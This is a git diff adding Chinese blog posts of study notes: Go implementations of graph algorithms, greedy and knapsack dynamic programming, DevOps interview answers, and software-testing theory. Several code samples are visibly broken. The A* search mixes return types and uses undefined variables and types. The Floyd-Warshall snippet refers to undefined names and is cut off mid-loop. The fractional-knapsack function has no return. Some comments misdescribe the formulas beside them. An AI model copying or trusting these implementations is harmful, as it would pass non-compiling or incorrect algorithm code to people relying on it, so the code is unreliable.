O(N^3),因此适用于 n 不是很大的情况。 + +```go +func FloydWarshall(graph [][]int) [][]int{ + minDis:= make([][]int,len(graph)) + for i := range dist { + minDis = make([]int, n) + copy(minDis, graph[i]) + } + for k:=0;k 1319 Number of Operations to Make Network Connected +> 1334 Find the City With the Smallest Number of Neighbors at a Threshold Distance +> 1674 Minimum Moves to Make Array Complementary + + +A* 算法 +A* 算法是一种启发式搜索算法,用于在图表中找到从起点到目标节点的最短路径。A* 算法借助估价函数(即启发函数)对未知状态进行评估,并根据这个评估值来进行搜索。与 Dijkstra 和 Bellman-Ford 不同,A* 算法可以使用任意可计算距离的启发函数,因此比它们更加灵活和高效。 + + +```go +type Node struct{ + x int + y int + // 到起点的距离 + g int + // 到终点的距离 + h int + // 总距离 + f int + parent *Node +} + +func aster(start *Node,end *Node )[]Node{ + + //openList 表示开放列表 + openList := make([]*Node, 0) + //closedList 表示关闭列表 + closedList := make(map[*Node]bool) + openList = append(openList, start) + for len(openList)>0{ + cur:= openList[0] + index:=0 + // openList 中选择一个最小的 f 值节点作为下一步搜索的节点 + for i, node := range openList { + if node.f < cur.f { + cur = node + index = i + } + } + // 如果当前节点为终点,则返回路径 + if cur == end { + path := make([]Node, 0) + for cur != nil { + path = append(path, *cur) + cur = cur.parent + } + reverse(path) + return path + } + // 将当前节点从 openList 中移除,并加入 closedList 中 + openList = append(openList[:index], openList[index+1:]...) + closedList[cur] = true + if cur.x == end.x && cur.y == end.y { + path := make([][]int, 0) + for cur != nil { + p := make([]int, 2) + p[0], p[1] = cur.x, cur.y + path = append([][]int{p}, path...) // 逆序插入路径点 + cur = cur.parent + } + return path + } + + for i := 0; i < 4; i++ { + newX, newY := cur.x + dx[i], cur.y + dy[i] + if newX < 0 || newX >= rows || newY < 0 || newY >= cols || board[newX][newY] == 1 { + continue + } + if _, ok := closedSet[newX * cols + newY]; ok { + continue + } + + g := cur.g + 1 + h := (newX - endX) * (newX - endX) + (newY - endY) * (newY - endY) // 欧几里得距离作为启发式函数 + f := g + h + + node := &node{newX, newY, g, h, f, cur} + openList = append(openList, node) + } + + } + +} +// 反转切片 +func reverse(nodes []Node) { + for i, j := 0, len(nodes)-1; i < j; i, j = i+1, j-1 { + nodes[i], nodes[j] = nodes[j], nodes[i] + } +} +// 计算启发函数的值,这里用曼哈顿距离 +func heristic(node1 *Node,node2 *Node)int{ + return abs(node1.x-node2.x) + abs(node1.y-node2.y) +} +func getNeighbors(node *Node) []*Node { + // 获取当前节点的上下左右四个邻居 + neighbors := make([]*Node, 0) + if node.x > 0 { + neighbors = append(neighbors, &Node{node.x-1, node.y, 0, 0, 0, nil}) + } + if node.y > 0 { + neighbors = append(neighbors, &Node{node.x, node.y-1, 0, 0, 0, nil}) + } + if node.x < maxX { + neighbors = append(neighbors, &Node{node.x+1, node.y, 0, 0, 0, nil}) + } + if node.y < maxY { + neighbors = append(neighbors, &Node{node.x, node.y+1, 0, 0, 0, nil}) + } + return neighbors +} +``` +> 505 The Maze II +> 1099 Two Sum Less Than K +> 1263 Minimum Moves to Move a Box to Their Target Location + +#### 加权无向图的最小生成树 + +Kruskal: +找到连接所有顶点且边的总权值的最小子图。 + +```go +type Edge struct{ + from int + to int + weight int +} + +func kruskal (n int,edges []Edge) []Edge{ + //边要按照从小到大排序 + sort.Slice(edges ,func (i int,j int)bool{ + return edges[i].weight < edges[j].weight + }) + // 初始化并集 + // unionSet[son] = father + unionSet:= make(map [int]int,n) + for i:=0;i itms[j].value*itms[i].weight } +func (itms items) Swap(i, j int) { itms[i], itms[j] = itms[j], itms[i] } + +func getMaxValue(items []Item, capacity int)float64{ + sort.Sort(items) + ans:=0.0 + for _,item := range items{ + if capacity >= item.w{ + capacity = capacity-item.w + ans = ans+ item.v + }else{ + // ans += float64(capacity)/float64(item.weight)*item.value + // 即当剩余背包空间不足以放下一个完整的物品时,我们需要考虑部分装入该物品的方案是否可行。 + ans += float64(capacity)/float64(item.w)*item.v + break + } + } +} +``` +### 区间调度问题 + +已知道多个区间的开始时间和结束时间,如何安排时间使得尽可能多的区间不重合,贪心的策略:根据结束时间对所有的区间进行排序,每次选择最早结束的区间加入结果集,然后把与该区间重叠的其他区间从候选列表中删除。 + +### 分配饼干问题 +M个孩子N个饼干,每个孩子需要的饼干大小不同。每个饼干块的大小也不同,只有饼干的大小等于孩子需要的大小,孩子才能得到满足,如何分配饼干,使得满足条件的孩子的最多。按照需要的饼干大小排序号,从需求最小的孩子开始和饼干配对,直到没有剩余的饼干或者孩子。 + +### 跳跃游戏问题 +给定非负数组,每个元素代表这个位置可以跳跃的最大长度,初始位置在第一个位置,问最少需要几步才能跳到最后一个位置?贪心策略是不断更新该位置可以到达的最远距离,如果能到达某个位置,则更新最远的距离,直到最远距离到达末尾。 + +- 将问题分解为子问题。 +- 确定局部最优解。 +- 利用局部最优解得到全局最优解。 + + +### 加油站问题 +已知一个环型公路,沿路有多个加油站,从其中的一个站台出发,希望走完整个环形山路,每次可以加满油或者加一定量的油,问能不能选择一个出发点,走完整个环形公路。贪心策略:计算两个相邻加油站之间的距离和油耗需求,找到一个起点,使得从该加油站出发可似的剩余的油量始终保持正数。 + diff --git a/_posts/2023-4-3-test-markdown.md b/_posts/2023-4-3-test-markdown.md new file mode 100644 index 000000000000..9fe06c0d9077 --- /dev/null +++ b/_posts/2023-4-3-test-markdown.md @@ -0,0 +1,534 @@ +--- +layout: post +title: 背包问题 +subtitle: +tags: [背包问题] +comments: true +--- + +## 背包 DP + +### 1. 0-1 背包问题 + +```text +DP[i][j] 前i个物品构成的任意一个组合放入到容量为j构成的背包里面所组成的最大的价值.并且每个物品只能选择1次 +假设array存储对应数占据的容量,value[i]代表i物品的价值 +对于i物品来说,只有两个种状态,选它放入或者不放入,那么前一个使得i物品可以放入的容量状态就是j-array[i] + +DP[i][j] = DP[i-1][j-array[i]] + value[i] , DP[i-1][j] 二者求最大值 + +DP[i-1][j-array[i]] + value[i] 代表选择i物品放入后得到的价值。 + +DP[i-1][j] 代表不选择i物品在容量为j的条件下可以得到的价值 + +``` + +```go +/*494. 目标和 +给一个整数数组 nums 和一个整数 target 。 + +向数组中的每个整数前添加 '+' 或 '-' ,然后串联起所有整数,可以构造一个 表达式 : + +例如,nums = [2, 1] ,可以在 2 之前添加 '+' ,在 1 之前添加 '-' ,然后串联起来得到表达式 "+2-1" 。 +返回可以通过上述方法构造的、运算结果等于 target 的不同 表达式 的数目。 + +*/ +func findTargetSumWays(nums []int, target int) int { + // 横轴方向上是表达式的运算结果 + // 纵轴方向上是nums的前面i个元素 + // -5 -4 -3 -2 -1 0 1 2 3 4 5 + // 0 0 0 0 0 1 0 1 0 0 0 0 + // 1 0 0 0 1 0 2 0 1 0 0 0 + // 2 0 0 1 0 3 0 3 0 1 0 0 + // 3 0 0 0 4 0 6 0 4 1 1 0 + // 4 0 0 4 0 10 0 10 1 5 1 1 + // DP[i][j] = max(0,DP[i-1][j-nums[i] ] + DP[i-1][j+nums[i]]) + min,max:=getMinAndMax(nums) + DP:= make([]map[int]int,len(nums)) + for i:=0;i= stones[0]{ + DP[0][i] = stones[0] + } + } + for i:=1;i= 0 { + DP[i][j] = max(DP[i-1][j],DP[i-1][j-stones[i]]+ stones[i] ) + } + } + } + /* + [ + [0 0 2 2 2 2 2 2 2 2 2 2 2] + [0 0 2 2 2 2 2 7 7 9 9 9 9] + [0 0 2 2 4 4 6 7 7 9 9 11 11] + [0 1 2 3 4 5 6 7 8 9 10 11 12] + [0 1 2 3 4 5 6 7 8 9 10 11 12] + [0 1 2 3 4 5 6 7 8 9 10 11 12] + + ] + */ + return abs ( sum - DP[len(stones)-1][sum/2] - DP[len(stones)-1][sum/2] ) +} + +func getSum(stones []int) int{ + sum:=0 + for i:=0;i b { + return a + } + return b +} + +func abs(a int) int{ + if a>=0{ + return a + } + return -a +} + +// 为 stonesstones 中的每个数字添加 +/-+/−,使得形成的「计算表达式」结果绝对值最小。 +// 进一步转换为两堆石子相减总和,绝对值最小。 +// 差值最小的两个堆 +// 从 stonesstones 数组中选择,两堆凑成总和不超过 sum/2的最大价值 +// DP[i][j]= max(DP[i-1][j],DP[i-1][j-stones[i]] + stones[i] + + + +``` + +### 2.完全背包问题 + +```text +DP[i][j] 前i个物品构成的任意一个组合放入到容量为j构成的背包里面所组成的最大的价值.每个物品选择多次 +假设array存储对应数占据的容量,value[i]代表i物品的价值 +对于i物品来说,只有两个种状态,选它放入或者不放入,那么前一个使得i物品可以放入的容量状态就是j-array[i] + +DP[i][j] = max( DP[i-1][j-array[i]*1] + value[i]*1 , DP[i-1][j-array[i]*2] + value[i]*2 , DP[i-1][j-array[i]*3] + value[i]*3 .......DP[i-1][j]) + +DP[i-1][j-array[i]*0] + value[i] *0代表不选择i物品1个放入后得到的价值。 +DP[i-1][j-array[i]*1] + value[i] *1 代表选择i物品1个放入后得到的价值。 +DP[i-1][j-array[i]*2] + value[i] *2 代表选择i物品2个放入后得到的价值。 +DP[i-1][j-array[i]*3] + value[i] *3 代表选择i物品2个放入后得到的价值。 +DP[i-1][j-array[i]*4] + value[i] *4 代表选择i物品2个放入后得到的价值。 +``` + +```go +/* +518. 零钱兑换 II +给一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 + +请计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 + +假设每一种面额的硬币有无限个。 + +题目数据保证结果符合 32 位带符号整数。 + +*/ +func change(amount int, coins []int) int { + if amount ==0 { + return 1 + } + DP:= make([][]int,len(coins)) + for i:=0; i 0{ + // 选择k个该元素 + DP[i][j] = DP[i][j] + DP[i-1][j-coins[i]*k] + }else{ + // 选择了k个该元素 + DP[i][j] = DP[i][j]+1 + } + + k++ + } + } + //fmt.Println (DP[i]) + } + return DP[len(coins)-1][amount] + //fmt.Println(DP[0]) + // 0 1 2 3 4 5 + // [0]0 1 1 1 1 1 + // [1]0 1 2 2 3 3 + // [2]0 1 2 2 3 4 + // 1 1 1 1 1 + // 1 2 2 + // 1 1 1 2 + +} +``` + +```go +/* +这里有 n 个一样的骰子,每个骰子上都有 k 个面,分别标号为 1 到 k 。 + +给定三个整数 n ,  k 和 target ,返回可能的方式(从总共 kn 种方式中)滚动骰子的数量,使正面朝上的数字之和等于 target 。 + +答案可能很大,需要对 109 + 7 取模 。 + +*/ +func numRollsToTarget(d int, f int, target int) int { + // 前i个骰子,凑出traget的方法种类数 + // DP[i][j] = DP[i-1][j] + // DP[i][j] = DP[i-1][j] + DP[i-1][j-1]+1 + DP[i-1][j-2]+1 + DP[i-1][j-3]+1 + DP[i-1][j-k]+1) + // 每个骰子都扔出最大的数的时候,仍然不满足 + + if d*f < target{ + return 0 + } + if d*f == target{ + return 1 + } + mod := 1000000007 + DP:= make([][]int,d+1) + for i:=0;i=0 ;k++{ + DP[i][j] = (DP[i][j] + DP[i-1][j-k])% mod + } + } + } + + return DP[d][target] +} + +func min(a int , b int) int { + if a=0 && k-1 >=0 { + // 两种情况 + // DP[i-1][j][k] 不参与组成 + // DP[i-1][j-nums[i]][k-1] 参与组成 + DP[i][j][k] = DP[i][j][k]+ DP[i-1][j-nums[i]][k-1] + } + + } + + } + } + sum:=0 + for k,v := range nums{ + sum = DP[k][v][3] +sum + } + return sum +} + +func getMax(nums []int)int{ + if len(nums) == 0{ + return 0 + } + max:= nums[0] + for _,v := range nums{ + if v >max{ + max = v + } + } + return max +} +``` + +### 5.记忆化搜索 + +如果给定了某个「形状」的数组(三角形或者矩形),使用 题目给定的起点 或者 自己枚举的起点 出发,再结合题目给定的具体转移规则(往下方/左下方/右下方进行移动)进行转移。 + +> 基础的模型是: +> 特定的起点或者枚举的起点,有确定的移动方向,(转移方向)求解所有状态的最优值。 + +如果给移动规则,但是没有告诉如何移动,那么这种问题可以理解为另外一种路径问题。 + +> 单纯的 DFS 由于是指数级别的复杂度,通常数据范围不出超过 30 +> 实现 DFS 的步骤是: 1.设计递归函数的入参和出参数。 2.设计好递归函数的出口,BASE CASE 3.编写最小的处理单元 + +如何找到 BASE CASE? +明确在什么情况下算一次有效,即在 DFS 的过程中不断累加有效的情况。 + +```go +/* +403. 青蛙过河 +一只青蛙想要过河。 假定河流被等分为若干个单元格,并且在每一个单元格内都有可能放有一块石子(也有可能没有)。 青蛙可以跳上石子,但是不可以跳入水中。 + +给石子的位置列表 stones(用单元格序号 升序 表示), 请判定青蛙能否成功过河(即能否在最后一步跳至最后一块石子上)。开始时, 青蛙默认已站在第一块石子上,并可以假定它第一步只能跳跃 1 个单位(即只能从单元格 1 跳至单元格 2 )。 + +如果青蛙上一步跳跃了 k 个单位,那么它接下来的跳跃距离只能选择为 k - 1、k 或 k + 1 个单位。 另请注意,青蛙只能向前方(终点的方向)跳跃。 +*/ +var allStones []int +// [石子列表下标][跳跃步数]int +// 记忆化搜索 +// 在考虑加入「记忆化」时,我们只需要将 DFS 方法签名中的【可变】参数作为维度,DFS 方法中的返回值作为存储值即可。 +// boolean[石子列表下标][跳跃步数] 这样的数组,但使用布尔数组作为记忆化容器往往无法区分「状态尚未计算」和「状态已经计算 +// int[石子列表下标][跳跃步数],默认值 0 代表状态尚未计算,-1代表计算状态为 false,1 代表计算状态为 true。 +// var cache [i][j]int +// map["i"+"j"]int +var cache map[string]int + +// 因为存储的是单元格编号,所以不会重复 +var hashMap map[int]int +// cache[i]到达第stones个石子的时候,需要跳几步 +func canCross(stones []int) bool { + // 特殊情况 + if len(stones) ==2{ + if stones[1] -stones[0] ==1 { + return true + } + return false + } + if len(stones)>2 && stones[1]!=1{ + return false + } + // 为了快速判断需要的子节点存不存在 + hashMap= make(map[int]int,len(stones)) + for k, v:= range stones{ + hashMap[v] = k + } + + // 全局的石子数组 + allStones = stones + // 记忆化搜索需要的记忆二维切片,稍微可以改进一下变成map + cache = make(map[string]int,len(stones)) + return DFS(1,1) +} + +func DFS(i int,lastStep int) bool{ + key := strconv.Itoa(i)+ strconv.Itoa(lastStep) + if v,ok:=cache[key];ok && v!=0{ + if v==1{ + return true + } + return false + } + //如果之前已经发现可以到达,那么就不需要向下递归了 + if i == len(allStones)-1{ + return true + } + + // 模拟跳lastStep-1, lastStep ,lastStep +1步 + for j:=-1;j<=1;j++{ + // 意味着是原地 + if lastStep + j == 0{ + continue + } + if index,ok:= hashMap[allStones[i]+lastStep + j];ok{ + success:=DFS(index,lastStep + j) + cache[key] = boolToInt(success) + if success == true{ + return true + } + } + } + cache[key]= -1 + return false +} + +func getMaxStep(stones []int) int{ + return stones[len(stones)-1] - 1 +} + +func boolToInt(success bool)int{ + if success == true{ + return 1 + } + return -1 +} +``` + +### 6.博弈论 DP diff --git a/_posts/2023-4-30-test-markdown.md b/_posts/2023-4-30-test-markdown.md new file mode 100644 index 000000000000..39d51adc1bab --- /dev/null +++ b/_posts/2023-4-30-test-markdown.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 开发和运维 +subtitle: +tags: [运维] +comments: true +--- + + +## 开发 +开发方面: + +1-问题:什么是版本控制,如何在项目中使用它? +标准答案:版本控制是一种记录文件更改历史的系统,允许开发者回退到之前的版本,查看历史更改,合并代码等。在项目中,我使用Git进行版本控制,它可以让我轻松地管理和跟踪代码更改,并且在团队协作中也非常有用。 + +2-问题:如何进行代码调试和错误追踪? +标准答案:我使用的是IDE内置的调试工具进行代码调试,通过设置断点和查看变量值来追踪代码的执行流程。对于错误追踪,我使用日志记录系统来捕捉和记录运行时的错误和异常。 + + + +## 运维 + +1-问题:解释一下什么是持续集成/持续部署(CI/CD)? + +标准答案:持续集成/持续部署是一种软件开发实践,它要求开发者频繁地将代码集成到主分支。每次集成都通过自动化的构建来验证,包括编译、测试、打包等步骤,这称为持续集成。持续部署则是将集成后的代码自动化部署到生产环境,实现自动部署 + + +2-问题:有用过哪些监控工具,用它们做什么? +标准答:Prometheus 和 Grafana作为监控工具。 +Prometheus 用于收集和存储系统指标,Gratana 用于展示这些指标。通过它们,我可以实时地查看和分析系统的运行状态,包括 CPU、内存的使用情况,请求响应时间等。 + +3-问题:如何保证服务的高可用? +标淮答案:为了保证服务的高可用,我会使用负载均衡和冗余备份。负载均衡可以将请求分发到多个服务器,这样即使有一个服务器出现故障,其他服务器仍可以提供服务。元余备份则是保证数据的安全,通过备份可以快速恢复服务。 + + diff --git a/_posts/2023-5-10-test-markdown.md b/_posts/2023-5-10-test-markdown.md new file mode 100644 index 000000000000..cd238b7d2de4 --- /dev/null +++ b/_posts/2023-5-10-test-markdown.md @@ -0,0 +1,1791 @@ +--- +layout: post +title: 软件测试与质量保证 +subtitle: +tags: [软件工程] +comments: true +--- + +## 软件测试概述 + +1.软件测试产生的背景和基本概念 + +软件中缺陷产生的原因: + +人在软件的设计阶段所犯的错误是导致软件失效的主要原因 +软件复杂性是产生软件缺陷的极其重要的根源 + +控制错误的方法: + +预防错误 +规范化 +CMM、UML +文档化 +迭代与软件体系结构 +查找和纠正错误 +软件测试 +编程调试 + +2.软件测试与调试的区别 + +测试(testing)的目的与任务 +目的:发现程序的错误 +成功的测试:发现了未曾发现的错误 +任务:通过执行程序,暴露潜在的错误 + +调试(debugging)的目的与任务 +目的:定位和纠正错误 +任务:消除软件故障,保证程序的可靠运 + +3.软件测试的基本思想 + +- 软件开发与软件测试 +- 软件测试技术概览 +- 持续的软件测试 +- 软件测试的原则与经验 + +4.软件测试用例: + +所谓测试用例是为特定的目的而设计的一组测试输入、执行条件和预期的结果;测试用例是执行测试的最小实体 + + +测试步骤:测试步骤详细规定了如何设置、执行、评估特定的测试用例。 + +5.软件测试的对象 + +软件测试不等于程序测试 +软件测试贯穿于软件定义和开发的整个期间 +需求分析,概要设计,详细设计,以及程序编码等各个阶段所得到的文档,包括需求规格说明,概要设计规格说明,详细设计规格说明以及源程序,都是软件测试的对象 + +6.软件测试衡量标准 + +多 +能够找到尽可能多的、以至于所有的BUG +快 +能够尽可能早地发现最严重的BUG +好 +找到的BUG是关键的、用户最关心的 +找到BUG后,能够重现找到的BUG,并为修正BUG提供尽可能多的信息 +省 +能够用最少的时间、人力和资源发现BUG +测试的过程和数据可以重用 + +7.软件产品的组成 + +客户需求 +产品说明 +设计文档: +- 结构文档。描述软件整体设计的文档,包括软件所有主要部分的描述以及相互之间的交互方式。 +- 数据流图。表示数据在程序中如何流动的正规示意图。通常由圆圈和线条组成,所以也称为泡泡图。 +- 状态转换图。将软件分解为基本状态或者条件的另一种正规示意图,表示不同状态间转换的方式。 +- 流程图。用图形描述程序逻辑的传统方式。流程图现在不流行了,但是一旦投入使用,根据详细的流程图编写代码是很简单的。 +- 代码注释。有一个老说法:写一次代码,至少被别人看10次。在软件代码中嵌入有用的注释是极为重要的,这样便于维护代码的程序员轻松掌握代码的内容和执行方式。 + +8.软件生命周期 +软件产品从形成概念开始-开发-使用-维护-退役 + +9.软件开发 +软件开发主要由概要设计、详细设计、编程调试、单元测试、组装测试、系统测试和验收测试等阶段组成。 + +10.软件测试过程V模型 + +V模型反映了测试活动与分析设计活动的关系。图中,从左到右描述了基本的开发过程和测试行为,非常明确的标注了测试过程中存在的不同类型的测试,并且清楚的描述了这些测试阶段和开发过程期间各阶段的对应关系。 +V模型指出,单元和集成测试应检测程序的执行是否满足软件设计的要求;系统测试应检测系统功能、性能的质量特性是否达到系统要求的指标;验收测试确定软件的实现是否满足用户需要或合同的要求。 +局限性:仅把测试作为在编码之后的一个阶段,是针对程序进行的寻找错误的活动,而忽视了测试活动对需求分析、系统设计等活动的验证和确认的功能 + +11.软件测试过程W模型 + +相对于V模型,W模型增加了软件各开发阶段中应同步进行的验证和确认活动。W模型由两个V字型模型组成,分别代表测试与开发过程,图中明确表示出了测试与开发的并行关系。 +W模型强调:测试伴随着整个软件开发周期,而且测试的对象不仅仅是程序,需求、设计等同样要测试,也就是说,测试与开发是同步进行的。W模型有利于尽早地全面的发现问题。例如,需求分析完成后,测试人员就应该参与到对需求的验证和确认活动中,以尽早地找出缺陷所在。同时,对需求的测试也有利于及时了解项目难度和测试风险,及早制定应对措施,这将显著减少总体测试时间,加快项目进度。 +局限性:在W模型中,需求、设计、编码等活动被视为串行的,同时,测试和开发活动也保持着一种线性的前后关系,上一阶段完全结束,才可正式开始下一个阶段工作。 + +12.软件测试的四个阶段 +单元测试、集成测试、系统测试、验收测试。是“从小到大”、“由内至外”、“循序渐进”的测试过程,体现了“分而治之”的思想。 + +- 单元测试的粒度最小,主要测试单元是否符合“设计”,检验每个软件单元能否正确地实现其功能满足其性能和接口要求。 +- 集成测试界于单元测试和系统测试之间,起到“桥梁作用”,将经过单元测试的模块逐步进行组装和测试, 检测系统是否达到需求对业务流程及数据流的处理是否符合标准,检测系统对业务流处理是否存在逻辑不严谨及错误。 +- 系统测试的粒度最大,主要测试系统是否符合“需求规格说明书”,是否按软件需求规格说明中确定的软件功能、性能、约束及限制等技术要求进行工作。 +- 验收测试与系统测试非常相似,主要区别是测试人员不同,验收测试由用户执行。 + +13.测试的信息流 + +测试过程中需要三类输入: +- 软件配置:包括软件需求规格说明、软件设计规格说明、源代码等; +- 测试配置:包括测试计划、测试用例、测试驱动程序等。实际上,在整个软件工程过程中,测试配置只是软件配置的一个子集。 +- 测试工具:为提高软件测试效率,可使用测试工具支持测试。例如:测试数据自动生成程序、测试结果分析程序等 + +测试结果分析:比较实测结果与预期结果,评价错误是否发生 +排错(调试):对已经发现的错误进行错误定位和确定出错性质,并改正这些错误,同时修改相关的文档 + +14.测试的种类 + +名称 说明 +黑盒测试: 基于软件需求,而不是基于软件内部设计和程序实现的测试方式。**功能性测试** +白盒测试: 基于软件内部设计和程序实现的测试方式。**结构性测试** +单元测试: 主要测试软件模块的源代码。一般由开发人员而非独立测试人员来执行,因为测试者需要懂得该单元的设计与程序实现,测试者可能需要编写另外的驱动程序(driver)和桩(stub)。 +集成测试: 将一些“构件”集成一起时,测试它们能否正常运行。这里“构件”可以是程序模块、客户机-服务器程序等等。 +功能测试: 测试软件的功能是否符合功能性需求,通常采用黑盒测试方式。一般由独立测试人员执行。 +系统测试: 测试软件系统是否符合所有需求,包括功能性需求与非功能性需求。一般由独立测试人员执行,通常采用黑盒测试方式。 +回归测试: 指错误被修正之后或软件功能、环境发生变化后全部或部分地重复以前做过的测试。回归测试的困难在于不好确定哪些内容应当被重新测试。 +验收测试: 由客户或最终用户执行,测试软件系统是否符合用户需求。 +可靠性测试: 也称稳定性测试,连续运行被测系统,检查系统运行时的稳定程度 +安全性测试: 测试系统对非法侵入的防范能力。对程序的危险防止和危险处理进行的测试,以验证其是否有效。测试人员扮演非法入侵者 +容错性测试/健壮性测试: 检查系统的容错能力,软件在异常条件下自身是否具有防护性的措施或者某种灾难性恢复的手段。测试人员扮演对产品操作一点也不懂的客户,在进行任意操作。 +比较测试: 通过与同类产品比较,考察该系统的优点、缺点。 +Alpha 测试: 一种先期的用户测试,此时系统刚刚开发完成。 +Beta测试: 一种后期的用户测试,此时系统已经通过内部测试,大部分错误已经改正,即将正式发行。 + + +- 按照软件测试是否执行程序而论,软件测试可以分为静态测试和动态测试; +静态测试:对软件进行分析、检查和审阅,不实际运行被测试的软件。静态测试约可找出30~70%的逻辑设计错误。 +动态测试:通过运行软件来检验软件的动态行为和运行结果的正确性。两个基本要素:被测试程序,测试数据(测试用例)。内容 +:生成测试用例,运行程序,验证程序的运行结果 + +- 按照软件测试用例的设计方法而论,软件测试可分为白盒测试法和黑盒测试法; + +- 按照软件设计方法是否采用面向对象设计技术而论,软件测试又可以分为传统测试方法和面向对象测试方法; +其它特定环境及应用的测试 + +15.什么是测试用例? + +一个测试用例就是一个文档,其目的是确定应用程序的某个特性是否正常的工作。 +一个测试用例应当有完整的信息,如:测试用例ID号,测试用例名字,测试用例的目的,测试条件、输入数据需求、步骤和期望结果。 + +```text +测试用例ID: +目的: +前提: +输入: +预期输出: +后果: +执行历史: +示例: +“用户名” “口令” “预期结果” 说明 +“user10” “pass10” 进入系统 正确的用户名和口令(6位) +“user789” “pass789” 进入系统 正确的用户名和口令(7-9位) +``` + +16.黑盒测试 +黑盒测试:功能性测试,数据驱动测试。是在已知软件产品具有何种功能的前提下,用来检验每个功能是否能够正常使用,需求是否满足的一个测试方法,在软件开发后期进行。把程序看成是一个不能打开的黑盒子,在不考虑程序内部结构的情况下,测试人员用操作接口的方式进行测试,检查程序能否按照需求指定的功能接收输入数据产生正确的结果。 + +黑盒测试的用例设计方法: + +- 边界值分析 + +假设正在测试一个电子商务网站的注册页面。该页面要求用户提供他们的年龄。最小允许年龄为18岁,最大允许年龄为100岁。请列出边界测试用例,以确保页面正确地处理这些边缘情况。 + +```text +测试情况 输入 预期输出 +最小允许年龄 18 成功注册 +低于最小允许年龄 17 收到错误消息“您必须年满18岁才能注册。” +最大允许年龄 100 成功注册 +超过最大允许年龄 101 收到错误消息“抱歉,您的年龄不能超过100岁。” +边界条件内的值 50 成功注册 +负数 -10 收到错误消息“年龄必须为正整数。” +非数字 abc 收到错误消息“请输入有效的年龄。” +``` + +- 等价类划分 +``` +序号 功能项 有效等价类 编号 无效等价类 编号 +1 a+b 0< 取值 > 99 1 取值<0 ,取值>100 1,3 +``` + +- 基于决策表的测试 + +``` +规则 +C1:a,b,c构成三角形 Y +C2:a==b Y +C3:a==c Y +C4:b==c Y + +A1:非三角形 +A2:不规则三角形 +A3:等腰三角形 +A4:等边三角形 Y +A4:不符合逻辑 + +``` + +- 因果图 +E(互斥/异或):表示a,b两原因不会同时成立,最多一个能成立 +I(包含):a、b、c三个原因中至少有一个必须成立 +O(唯一):a、b当中必须有一个,且仅有一个成立 +R(要求):当a出现时,b必须也出现,不可能a出现b不出现; +M(强制或屏蔽):结果a是1时,结果b必须是0;结果a是0时,结果b的值不定; + +1-分析需求,列出原因和结果 +```text +原因 结果 +C1:第一个字符是# E1:给出提示信息N +C2:第一个字符是* E2:修改文件 +C3:第二个字符是数字 E3:输出信息M + +``` +2-找出因果关系,原因与原因之间的约束关系,画出因果图。 +3-将因果图转化为决策表 +``` +条件: +C1: 1 +C2: 1 +C3: 1 +动作: +E1: +E2: +E3: +不可能 ✅ +``` + +- 正交实验设计 +- 状态测试 + +黑盒测试的优点有: +1)比较简单,不需要了解程序内部的代码及实现; +2)与软件的内部实现无关; +3)从用户角度出发,能很容易的知道用户会用到哪些功能,会遇到哪些问题; +4)基于软件开发文档,所以也能知道软件实现了文档中的哪些功能; +5)在做软件自动化测试时较为方便。 + +黑盒测试的缺点有: +1)不可能覆盖所有的代码,覆盖率较低,大概只能达到总代码量的30%; +2)自动化测试的复用性较低 + +17.白盒测试 + +结构测试,逻辑驱动测试 +前提:知道软件产品内部工作过程。 +目标:通过测试来检测软件产品内部动作是否按照规格说明书的规定正常进行。 +重点:从程序的控制结构导出测试用例。按照软件内部的结构测试程序,软件中的每条通路是否都能按预定要求正确工作。 +在软件开发早期(即编码阶段)执行。 +白盒子测试的方法: +1-控制流测试: +语句覆盖:每一个语句至少被执行一次 +分支覆盖:每个分支至少被执行一次 +路径覆盖:所有可能路径。 + +2-数据流测试 +数据流测试:基于数据流图,设计测试用例以覆盖数据流图上的各个路径 +定义覆盖:要确保测试用例能够访问并涉及到程序所有变量的定义 +引用覆盖:覆盖程序中使用变量的所有引用 +定义-引用覆盖:变量的定义,所有引用 + + +18.测试阶段与测试技术对应表 + + +测试阶段 主要依据 测试技术 主要测试内容 +单元测试 详细设计文档 白盒测试 接口测试、路径测试 +集成测试 概要设计文档,需求文档 白盒测试,黑盒测试 接口测试、路径测试,功能测试、性能测试 +系统测试 需求文档 黑盒测试 功能测试、性能测试、用户界面测试、安全性测试、压力测试、可靠性测试、安装/反安装测试 +验收测试 需求文档,验收标准 黑盒测试 + +20.完整的软件测试工作应该贯穿整个软件生命周期 + +- 开发的不同阶段都有软件测试工作 +- 软件测试工作的各个步骤分散在整个软件生命周期中。 + + +## Part-2 静态测试 + +1.静态测试 + +静态测试指不运行被测程序本身,而通过分析或检查源程序的语法、结构、过程、接口等检查程序的正确性。 + +静态测试中的被测对象是各种与软件相关的有必要进行测试的产物,这些被测对象包括了软件需求规约、软件设计说明书、源程序的结构、流程图、符号等。静态测试从这些被测对象中找错。 + +静态测试常用的方法有:代码走查、数据流分析、控制流分析和信息流分析。 + +目的是发现软件开发过程中的缺陷和错误,从而提高软件的可靠性和可维护性 + +静态测试是指在不运行软件的情况下,对软件的需求、设计、代码等进行分析、检查、评审的过程, + + +2.代码审查/代码走查 + +代码审查(Code Inspection):1.代码审查准备阶段:在此阶段,主要是为了检查和评估程序源代码做好准备。2.程序阅读:在此阶段,参与者需要对代码进行全面和仔细的阅读,以便能够理解代码的结构、功能和实现方式。3.审查会:在此阶段,参与者将汇集在一起,讨论代码审查的结果,并确定必要的更改和修改。4.跟踪及报告:在此阶段,参与者需要跟踪问题并持续地监控实施中的修复。 + +代码走查(Walkthrough):代码走查以小组方式进行 + +3.需求定义的静态测试 +4.设计文档的静态测试 +5.源代码的静态测试 + +## Part-3 边界值测试 + +1.功能性测试的主流方法 + +- 边界值分析:基本边界值分析、健壮性测试、最坏情况测试、健壮最坏情况测试 +- 等价类划分 :弱一般、强一般、弱健壮、强健壮 +- 判定表 +- 因果图 + +2.边界值分析/健壮性测试/最坏情况测试/健壮最坏情况测试/特殊值测试/举例/随机测试/边界值测试的方针 + +边界值分析:最小值、略高于最小值、正常值、略低于最大值和最大值 +如果有一个变量个数为n的函数,使除一个以外的所有变量取正常值,使剩余的那个变量取最小值、略高于最小值、正常值、略低于最大值和最大值,对每个变量都重复进行。对于一个变量个数为n的函数,边界值分析会产生4n+1个测试用例 + +数据流测试:是一种关注变量定义赋值点和引用或者使用这些值的点的结构性测试,主要用于路径测试的真实性检查。 + +3.次日程序的问题描述-边界值分析 